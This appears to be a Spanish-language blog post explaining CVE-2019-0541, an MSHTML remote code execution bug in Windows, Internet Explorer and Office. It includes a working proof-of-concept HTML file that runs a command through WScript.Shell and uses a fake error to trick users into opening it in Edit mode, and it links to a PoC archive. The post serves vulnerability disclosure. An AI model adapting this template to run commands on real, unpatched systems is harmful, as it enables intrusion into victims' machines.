MSHTML Engine RCE - CVE-2019-0541

El motor MSHTML de Microsoft Windows posee una vulnerabilidad que permite ejecutar código arbitrario debido a una validación incorrecta de documentos web especialmente diseñados (html, xhtml, etc). Concretamente el problema se desencadena cuando los usuarios "editan" uno de estos documentos especialmente diseñados que contienen una etiqueta HTML 'meta' establecida en 'ProgId' y su contenido establecido en una opción de 'ProgId', por ejemplo. 'HTAFILE', generalmente a través del componente del navegador MS IE o MS Office (la aplicación de edición de HTML 'msohtmed.exe'):
<html>

<head><meta name=ProgId content=htafile>

<!-- htafile is just an exmaple of 'ProgId'...others are possible, you may test all available ProgIds at will! -->

</head>
<hta:application id=x>
<script>

try { if (x.commandLine != "") {

new ActiveXObject('WScript.Shell').Run('calc.exe',1)

}

}

catch(ex) { alert('Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. \n If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...".'); }

</script>

<noscript> Error: This document must be viewed in "Edit" mode: Right-click it, then select the "Edit" menu option. <br> If not present, open it with MS IE, make sure the "Menu" bar is displayed, then click "File" menu and then "Edit with...". </noscript>

</html>   

Algunas versiones de Office agregan una opción de menú "Editar" a los archivos html y xhtml, lo que permitirá explotar la vulnerabilidad local o remotamente (generalmente a través de recursos compartidos de red). Veamos una PoC rápida:


Esta vulnerabilidad es similar a las antiguas vulnerabilidades de ClassId de Windows Shell/Internet Explorer que han afectado a Windows 98/2000/XP en el pasado.

Afecta a Microsoft Office, Microsoft Office Word Viewer, Internet Explorer 9, Internet Explorer 11, Microsoft Excel Viewer, Internet Explorer 10 y Office 365 ProPlus, y ha sido probado en Windows 7 SP1, Server 2008, Server 2012, Server 2012 R2, 8.0, 8.1, 10 (cualquiera) con todos los parches hasta diciembre de 2018 y en ambas arquitecturas (x86 y x64).

En los sistemas parcheados, el archivo de la PoC siempre se abrirá en el Bloc de notas.

PoC: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46536.zip

Comentarios